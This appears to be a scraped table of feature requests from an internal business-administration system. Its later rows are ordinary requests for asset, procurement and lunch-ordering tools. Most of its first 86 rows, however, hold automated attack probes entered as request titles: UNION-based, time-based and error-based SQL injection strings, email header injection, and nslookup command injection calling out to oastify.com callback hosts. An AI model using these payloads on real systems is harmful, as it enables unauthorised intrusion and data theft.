1 | 12312 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- YisB | Agung Yunanto | 2024-12-26 13:03:09 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
2 | 12312 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- ruNI | Agung Yunanto | 2024-12-26 13:03:08 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
3 | 12312 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- tomb | Agung Yunanto | 2024-12-26 13:03:08 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
4 | 12312 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- yaZy | Agung Yunanto | 2024-12-26 13:03:07 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
5 | 12312 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- sEMj | Agung Yunanto | 2024-12-26 13:03:07 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
6 | 12312 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- Niwf | Agung Yunanto | 2024-12-26 13:03:06 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
7 | 12312 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- SeZI | Agung Yunanto | 2024-12-26 13:03:06 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
8 | 12312 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL-- YvUd | Agung Yunanto | 2024-12-26 13:03:05 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
9 | 12312 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL-- ReSZ | Agung Yunanto | 2024-12-26 13:03:05 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
10 | 12312 UNION ALL SELECT NULL,NULL,NULL,NULL-- UVEa | Agung Yunanto | 2024-12-26 13:03:04 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
11 | 12312 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- WdjK | Agung Yunanto | 2024-12-26 13:03:04 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
12 | 12312 UNION ALL SELECT NULL,NULL,NULL-- PRgv | Agung Yunanto | 2024-12-26 13:03:03 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
13 | 12312 OR 1336=DBMS_PIPE.RECEIVE_MESSAGE(CHR(110)||CHR(105)||CHR(111)||CHR(106),5) | Agung Yunanto | 2024-12-26 13:03:01 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
14 | 12312 AND 8313=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)||CHR(119)||CHR(106)||CHR(78),5) | Agung Yunanto | 2024-12-26 13:03:00 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
15 | 12312 AND 6290=(SELECT 6290 FROM PG_SLEEP(5)) | Agung Yunanto | 2024-12-26 13:02:59 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
16 | 12312 OR 1202=(SELECT 1202 FROM PG_SLEEP(5)) | Agung Yunanto | 2024-12-26 13:02:59 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
17 | 12312 AND (SELECT 1681 FROM (SELECT(SLEEP(5)))SmLK) | Agung Yunanto | 2024-12-26 13:02:58 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
18 | 12312 OR (SELECT 3823 FROM (SELECT(SLEEP(5)))VKCT) | Agung Yunanto | 2024-12-26 13:02:58 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
19 | 12312;SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(65)||CHR(104)||CHR(68)||CHR(81),5) FROM DUAL-- | Agung Yunanto | 2024-12-26 13:02:57 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
20 | 12312 AND EXTRACTVALUE(2617,CONCAT(0x5c,0x716a717071,(SELECT (ELT(2617=2617,1))),0x716b766271)) | Agung Yunanto | 2024-12-26 13:02:52 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
21 | 12312 OR EXTRACTVALUE(3803,CONCAT(0x5c,0x716a717071,(SELECT (ELT(3803=3803,1))),0x716b766271)) | Agung Yunanto | 2024-12-26 13:02:52 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
22 | 12312 AND (SELECT BITSTRING_TO_BINARY(NULL)) IS NULL | Agung Yunanto | 2024-12-26 13:02:51 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
23 | 12312 AND (SELECT __MAX_NOTNULL(NULL)) IS NULL | Agung Yunanto | 2024-12-26 13:02:51 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
24 | 12312 AND (SELECT UNLIKELY(NULL)) IS NULL | Agung Yunanto | 2024-12-26 13:02:50 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
25 | 12312 AND (SELECT FROM_HEX(NULL)) IS NULL | Agung Yunanto | 2024-12-26 13:02:49 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
26 | 12312 AND (SELECT IF(ROWNUMBER()>0,CONVERT(NULL,TINYINT),NULL))) IS NULL | Agung Yunanto | 2024-12-26 13:02:49 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
27 | 12312 AND (SELECT INSTR2(NULL,NULL) FROM DUAL) IS NULL | Agung Yunanto | 2024-12-26 13:02:48 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
28 | 12312 AND (SELECT QUOTE_IDENT(NULL)) IS NULL | Agung Yunanto | 2024-12-26 13:02:48 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
29 | 12312 AND (SELECT DIFFERENCE(NULL,NULL)) IS NULL | Agung Yunanto | 2024-12-26 13:02:47 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
30 | 12312 AND (SELECT QUARTER(NULL XOR NULL)) IS NULL | Agung Yunanto | 2024-12-26 13:02:47 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
31 | 12312 AND (SELECT ASCII_CHAR(256) FROM SYSTEM.ONEROW) IS NULL | Agung Yunanto | 2024-12-26 13:02:46 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
32 | 12312 AND (SELECT ALPHA(NULL) FROM VERSIONS) IS NULL | Agung Yunanto | 2024-12-26 13:02:45 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
33 | 12312 AND (SELECT TONUMBER(NULL)) IS NULL | Agung Yunanto | 2024-12-26 13:02:45 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
34 | 12312 AND (SELECT STRINGTOUTF8(NULL)) IS NULL | Agung Yunanto | 2024-12-26 13:02:43 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
35 | 12312 AND (SELECT NULLIF(USER,SESSION_USER) FROM SYSIBM.SYSDUMMY1) IS NULL | Agung Yunanto | 2024-12-26 13:02:42 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
36 | 12312 AND (SELECT NULLIFZERO(hashcode(NULL))) IS NULL | Agung Yunanto | 2024-12-26 13:02:42 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
37 | 12312 AND (SELECT (NULL SETEQ NULL)) IS NULL | Agung Yunanto | 2024-12-26 13:02:41 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
38 | 12312 AND (SELECT halfMD5(NULL) IS NULL) IS NULL | Agung Yunanto | 2024-12-26 13:02:40 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
39 | 12312 AND (SELECT MD5(NULL~NULL)) IS NULL | Agung Yunanto | 2024-12-26 13:02:40 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
40 | 12312 AND (SELECT TDESENCRYPT(NULL,NULL)) IS NULL | Agung Yunanto | 2024-12-26 13:02:39 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
41 | 12312 AND (SELECT %SQLUPPER NULL) IS NULL | Agung Yunanto | 2024-12-26 13:02:39 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
42 | 12312 AND (SELECT CVAR(NULL) FROM MSysAccessObjects) IS NULL | Agung Yunanto | 2024-12-26 13:02:38 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
43 | 1 | Agung Yunanto | 2024-12-26 12:59:32 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
44 | 1 | Agung Yunanto | 2024-12-26 12:58:02 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
45 | 1 | Agung Yunanto | 2024-12-26 12:58:02 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
46 | 1 | Agung Yunanto | 2024-12-26 12:58:01 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
47 | 1 | Agung Yunanto | 2024-12-26 12:58:01 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
48 | 1 | Agung Yunanto | 2024-12-26 12:57:55 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
49 | 1 | Agung Yunanto | 2024-12-26 12:57:49 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
50 | 1 | Agung Yunanto | 2024-12-26 12:57:49 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
51 | 1 | Agung Yunanto | 2024-12-26 12:57:49 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
52 | 1 | Agung Yunanto | 2024-12-26 12:57:48 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
53 | 1 | Agung Yunanto | 2024-12-26 12:57:43 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
54 | 1 | Agung Yunanto | 2024-12-26 12:57:29 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
55 | 1 | Agung Yunanto | 2024-12-26 12:57:28 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
56 | 1 | Agung Yunanto | 2024-12-26 12:57:23 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
57 | 12312 AND (SELECT 7247 FROM (SELECT(SLEEP(5)))Ukzo) | Agung Yunanto | 2024-12-26 12:57:22 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
58 | 12312) AND (SELECT 7247 FROM (SELECT(SLEEP(5)))Ukzo) AND (1594=1594 | Agung Yunanto | 2024-12-26 12:57:21 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
59 | 12312);SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(106)||CHR(106)||CHR(86)||CHR(90),5) FROM DUAL-- | Agung Yunanto | 2024-12-26 12:57:20 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
60 | 12312;SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(106)||CHR(106)||CHR(86)||CHR(90),5) FROM DUAL-- | Agung Yunanto | 2024-12-26 12:57:20 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
61 | 12312 AND EXTRACTVALUE(6669,CONCAT(0x5c,0x717a627671,(SELECT (ELT(6669=6669,1))),0x7162786b71)) | Agung Yunanto | 2024-12-26 12:57:08 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
62 | (SELECT (CASE WHEN (2505=2505) THEN 12312 ELSE (SELECT 6768 UNION SELECT 8566) END)) | Agung Yunanto | 2024-12-26 12:57:07 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
63 | (SELECT (CASE WHEN (1212=6098) THEN 12312 ELSE (SELECT 6098 UNION SELECT 7388) END)) | Agung Yunanto | 2024-12-26 12:57:06 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
64 | 0 | Agung Yunanto | 2024-12-26 12:57:04 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
65 | 1 | Agung Yunanto | 2024-12-26 12:57:04 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
66 | 1 | Agung Yunanto | 2024-12-23 19:53:45 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
67 | 0 | Agung Yunanto | 2024-12-23 19:53:44 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
68 | 1 | Agung Yunanto | 2024-12-23 19:53:43 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
69 | 1 | Agung Yunanto | 2024-12-23 19:53:37 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
70 | 1 | Agung Yunanto | 2024-12-23 19:53:36 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
71 | 1 | Agung Yunanto | 2024-12-23 19:53:33 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
72 | 12312 and (select*from(select(sleep(20)))a)-- | Agung Yunanto | 2024-12-23 19:53:02 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
73 | 12312+(select*from(select(sleep(20)))a)+ | Agung Yunanto | 2024-12-23 19:53:01 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
74 | ceul69fyceryrpph082iwwp1isomchf57xvpih66 | Agung Yunanto | 2024-12-23 19:47:13 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
75 | 12312
BCC:2x0bpzyov4aoaf87jyl8fm8r1i7cv7yvqoeg18px@oastify.com
dih: b | Agung Yunanto | 2024-12-23 19:02:04 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
76 | 12312>
BCC:mtjvlju8ro686z4rfihsb64bx23wrrufm9a1xtli@oastify.com
kig: a | Agung Yunanto | 2024-12-23 19:02:04 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
77 | nslookup -q=cname rzu0ro0dxtcdc4awlnnxhbag3791xw0ktnhf47sw.oastify.com.& | Agung Yunanto | 2024-12-23 19:01:42 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
78 | 12312|nslookup -q=cname bapk28bx8dnxnolgw7yhsvl0erkl8gb47szfr3g.oastify.com.& | Agung Yunanto | 2024-12-23 19:01:42 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
79 | qgaz8nhcestct3rv2m4wyarfk6q0evhj971utii.oastify.com | Agung Yunanto | 2024-12-23 19:01:40 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
80 | http://x8660u9j6zljlaj2utw3qhjmcdi7629qzer1jp8.oastify.com/?12312 | Agung Yunanto | 2024-12-23 19:01:40 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
81 | 0 | Agung Yunanto | 2024-12-23 19:01:32 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
82 | 1 | Agung Yunanto | 2024-12-23 19:01:31 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
83 | 1 | Agung Yunanto | 2024-12-23 19:01:29 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
84 | 1 | Agung Yunanto | 2024-12-23 19:01:29 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
85 | 12312 and (select*from(select(sleep(20)))a)-- | Agung Yunanto | 2024-12-23 19:01:06 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
86 | 12312+(select*from(select(sleep(20)))a)+ | Agung Yunanto | 2024-12-23 19:01:05 | 13213 | 3213 | 1232 | | Waiting Approval | Not Available |
87 | Surat Keluar Dokumen/Paket | Novi Landriani | 2020-09-30 17:02:35 | Agar user mendapatkan notifikasi email otomatis kalau dokumen/paket yang dikirim keluar | Untuk mempermudah mendata dokumen/paket yang keluar | Supaya informasi data dokumen yang keluar tercatat dengan baik dan prosedur penangananya surat jelas | | Approved | Not Available |
88 | Jadwal Kegiatan Otomasi | Novi Landriani | 2020-09-09 18:32:40 | Penambahan ada dikolam email otomasi itu (sent bisa diklik sendiri) agar ttp bisa memantau kalau ada perubahan data.
Note : untuk deadline system bisa dalam waktu sebulan sudah selesai. Terimakasih Mas | Sebagai sarana penyampaian informasi jadwal agar tendik dan dosen mengetahui acara kegiatan dikampus
| Sistem informasi perjadwalan secara otomatis | | Approved | Not Available |
89 | Planning System | Eko Cahyo Nugroho | 2020-03-26 11:02:32 | This system is already developed 50%. Submitted for detailed progress monitoring | This system creates an activities planning based on submitted annual activities. Then this system will be integrated to Procurement System for automatic activities realization | Automatic Purchase Request | | Approved | Not Available |
90 | Notification Approval Payment Request | Desmiarti | 2020-03-05 15:32:50 | [Payment Request Information] Approval notification PO Number | Procurement would know if payment request has gettin approval from finance and could printed the PPD | Notification by email | | Approved | Not Available |
91 | Maintenance Report | Trisnawati Dewi Anggraheni | 2020-03-03 12:36:19 | Sebagai sarana monitoring untuk kegiatan perbaikan. Efisiensi penanganan masalah, dan memperpanjang usia dan fungsi pakai barang | -Monitoring kegiatan perbaikan (dari mulai pengaduan sampai dengan perbaikan selesai)
- Memperpanjang usia dan fungsi pakai fasilitas dan asset
| Maintenance Report Form
| | Approved | Not Available |
92 | ATK Request | Trisnawati Dewi Anggraheni | 2019-12-11 15:07:05 | -User bisa melakukan permintaan ATK secara online
-Adanya notifikasi dan take action online untuk GS/fasilities hal tersebut bertujuan agar permintaan ATlK lebih cepat tertangani
-Stock barang ATK lebih ter update | Fungsi fitur : mempermudah peminjaman dengan dilakukan secara online di ecosystem, bukan melalui email atau wa, gchat. Adanya notifikasi untuk merimender pengambilan ATK (take action), terintegrasi dengan sistem membuat database ATK otomatis terupdate, memudahkan untuk proses monitoring ketersediaan barang tersebut | ATK Request online | | Approved | Not Available |
93 | General Support Report | Trisnawati Dewi Anggraheni | 2019-12-11 10:57:42 | Sarana/wadah monitoring kinerja general support, dilengkapi dengan online schedule dan report yang terupdate setiap harinya, adanya verification menu untuk pengecekan online. | Online Schedule, up to date report, monitoring automaticly untuk kinerja general support, tujuan utama adalah untuk mempermudah pengawasan dan evaluasi kinerja general support, serta kesesuaian antara jadwal dan kondisi di lapangan. | General Support Form and Report | | Approved | Not Available |
94 | Format dan contoh terlampir | Novi Landriani | 2019-12-02 14:42:40 | - | Mempermudah data surat masuk di history | - | | Approved | Not Available |
95 | Format dan contoh label terlampir | Novi Landriani | 2019-12-02 13:53:55 | Perbaruhi sistem lama yg masih kurang lengkap untuk data tamu | Mempermudah data tamu yang datang dan keluar | Data tamu akan bisa dilihat di history dgn lengkap | | Approved | Not Available |
96 | Booking Room System | Trisnawati Dewi Anggraheni | 2019-11-26 15:46:13 | -Penambahan beberapa fitur (detail di lampiran) dengan tujuan untuk lebih mengoptimalkan penggunaan ruangan | Lebih mengoptimalkan fungsi booking room system dengan memberikan tampilan yang user friendly, menyederhanakan prosedur/proses yang ada | Tombol cancel, ketika ada pembatalan peminjaman dengan kondisi yang sudah disetujui.
basic room information dan kolom jumlah pengguna: data lebih informatif dan terupdate, untuk mengoptimalisasi penggunaan ruangan | | Approved | Not Available |
97 | Lost and Found | Trisnawati Dewi Anggraheni | 2019-11-26 14:35:42 | Riwayat data barang tertinggal yang lebih interaktif dan terupdate, tanpa user harus bertanya satu-satu atau melalui email. | Keberadaan fasilitas lost and found akan mempermudah student/tamu yang kehilangan barang mereka. serta dapat meminimalisir penumpukan barang temuan | form dan list barang tertinggal, dan riwayat data | | Approved | Not Available |
98 | Improvement databse vendor | Parlindungan Siregar | 2019-10-09 16:04:21 | The vendor can access the ecosystem for updated their legal documentation and in the future, they can upload the invoice documentation by themself. | To get updated vendor legal documentation | Get updated the updated legal documentation from the vendor | | Approved | Not Available |
99 | Equipment Borrowing | Trisnawati Dewi Anggraheni | 2019-09-16 15:53:27 | One way to maintain assets. will be clearer for the period / time of use of these goods, if there is good record keeping.and to further direct the user to be responsible for the items borrowed | Recording of borrowing and returning goods
| Automatic recording system | | Approved | Not Available |
100 | Request Letters | Trisnawati Dewi Anggraheni | 2019-09-13 11:33:13 | Request letter is used as a container for all outgoing mail requests. Serves to facilitate and shorten the time of writing a letter, facilitate user requests through the form rather than through email again. data or files that need to be filled are marked with yellow markers in the example that I at | For those who want to request a letter for parking member, event, work permit, and bus parking | making it easier for users to be able to send applications via one channel, no longer using email. output feature : request form and Request letters can be created automatically. | | Approved | Not Available |
101 | Direct email to the vendor with BOQ attachment and invitation letter | Parlindungan Siregar | 2019-08-23 16:02:53 | To cut off the time sent email BOQ and invitation letter to vendor
( I gave a highlight to dynamic input ) | When I click BOQ that would have column or text box including invitation letter to sent email to the vendor | BOQ file attachment and invitation letter | | Approved | Not Available |
102 | BKK otomatis | Rokayah | 2019-08-20 16:38:18 | Dear Pak Iwan, dan Mas Eko, mohon bantuannya dengan sangat, proses ini sangat melelahkan yang sebetulnya bisa dipermudah..nuhun | Untuk transaksi mulai 1 juta, BKK terbentuk otomatis pada saat PPD terbentuk | Memotong 9 Step menjadi 0 step | | Approved | Not Available |
103 | Initial Name difasilitasi Drop Down PIC PPD/Penerima | Rokayah | 2019-08-20 16:29:56 | - | Apabila dana diterima Cash oleh pembuat PPD, maka user PPD wajib mengisi "Please type initial name " di ecosystem (Drop down initial PIC PPD) | Memudahkan bagian Bendahara dalam proses pembagian petty cash yang cair | | Approved | Not Available |
104 | Label Inventaris Barcode | Trisnawati Dewi Anggraheni | 2019-08-13 14:24:00 | -Deadline : Before September
- Addition of barcode features for all assets, and if possible add a print out feature | Makes it easier to identify the number of items that come in and out. An integrated barcode system can save a lot of time when labeling and reading information through a Barcode Inventory. This feature helps quickly update stock into electronic form and helps users to checkout quickly. | Barcode inventory, soft and hard label | | Approved | Not Available |
105 | Upgrade sistem Pengelolaan aset | Trisnawati Dewi Anggraheni | 2019-08-13 09:37:10 | -Penambahan Filter pada kolom location dan asset name
-Pemisahan antara Barang ATK dengan Assets
-kolom "status" isi secara otomatis, terintegrasi dengan sistem peminjaman equipment di ecosystem
- Purchase Categori ditambahkan, bukan hanya satu pilihan "Barang modal", ditambahkan "barang habis pakai | Memudahkan pengelolaan dan penomeran barang bukan cuma asset tapi juga barang habis pakai dan semua barang gudang | Sistem Inventaris Barang | | Approved | Not Available |
106 | Addtional tools for Purchase Order | Parlindungan Siregar | 2019-08-05 13:38:39 | To minimize to inputting data especially for the vendor with fix nominal | To make fix information for the vendor with fix nominal | Procurement staff no need to input nominal when creating Purchase Order, but if there is any changed Procurement case edit before created Purchase Order | | Approved | Not Available |
107 | automatic labeling | Trisnawati Dewi Anggraheni | 2019-07-26 15:53:35 | Format dan contoh label terlampir. | mempermudah distribusi lunch box | Lunch box diterima sesuai request | | Approved | Not Available |
108 | Transportasion request driver | Riansah | 2019-06-11 16:43:20 | Penanggung jawab atau delegasi tugas ada 2 Jakarta dan Bandung
Untuk Bandung ke Pak Mukti dan Mas Fatur
Untuk Jakarta ke Pak Iwan doli dan Mba Trisna
(Detail terlampir ) | Mempermudah user untuk request driver bandung untuk mempersiapkan uang harian dan segala kebutuhan nya | semua request transportasi baik jakarta maupun bandung tidak menggunakan email lagi, lebih terstruktur dan tersistem. | | Approved | Not Available |
109 | Checklist All Vendor | Rokayah | 2019-06-11 15:23:22 | - | Agar tidak terjadi pengiputan vendor yang beulang-ulang untuk transaksi yang sama | User cukup sekali saja pilih vendor untuk beberapa line anggaran yang digunakan | | Approved | Not Available |
110 | Penambahan Fitur Sumber Dana | Perencanaan 1 | 2019-06-11 15:07:09 | penambahan fitur ini di karenakan pada tahun ini ada kebijakan dari ITB mengenai sumber dana anggaran SBM yang terbagi menjadi DM dan BP-PTNBH, sehingga pada saat pengajuan ke keuangan itb harus dari sumber dana yang sama. | Memisahkan kegiatan sumber dana DM dan BP-PTNBH | setiap unit dan prodi hanya dapat mengajukan anggaran berdasarkan pada sumber dana yang sama. | | Approved | Not Available |
111 | Created Surat Permohonan Pembayaran for invoice more then 10.000.000 | Parlindungan Siregar | 2019-05-28 13:35:39 | For administration document supporting ( yellow color will dynamic ) | Vendor can created Surat Permohonan Pembayaran base on their invoice to SBM ITB | Draft Surat Permohonan Pembayaran | | Approved | Not Available |
112 | Detailing Purchase Request for User | Parlindungan Siregar | 2019-05-28 13:06:59 | Form will be more specific for detailing the request | Detailing what user need more specific for their request goods or service | Procurement will be more easier to know what user need for their goods or service | | Approved | Not Available |
113 | Lunch Menu Order in EcoSystem | Trisnawati Dewi Anggraheni | 2019-05-22 09:37:13 | -consumption budget efficiency and reduce the amount of food left over. because the amount of food available is the same as the number of employees / staff present on the day. | -make it easy for users to choose their own menu every day
| new system for order lunch box on the day or at least (H-1) | | Approved | Not Available |
114 | Uang Masuk Pembayaran dari ITB ( Cash In) | Desmiarti | 2019-05-20 10:40:30 | - | Pencatatan Uang Masuk Pembayaran dari ITB ( Cash In) | Penambahan saldo petty cash karena adanya pembayaran dari ITB | | Approved | Not Available |
115 | Troubleshooting Queue System | Eko Cahyo Nugroho | 2019-03-30 11:04:31 | This system in my opinion does not need to be approved by IT Manager / Supervisor because this system only for supporting the current business process without any major changes or strategical changes. | 1. User can submit a request to get the technical or non technical support from IT based on requested support category
2. User can monitor and check the request
3. User can report that their problem has been solved
4. IT Staff has the historical action was taken as the database for standard technical / non technical support in the future.
5. As the basic data for F&Q feature | 1. Troubleshooting follow-up status
2. Technical and Non Technical support history and database | | Approved | Not Available |
116 | Synchronize Student Profile From Space to Ecosystem | Rio Oktaviyanto | 2019-03-26 10:44:06 | to view Student Data and Profile | Synchronize Student Profile From Space to Ecosystem | Student Data | | Approved | Not Available |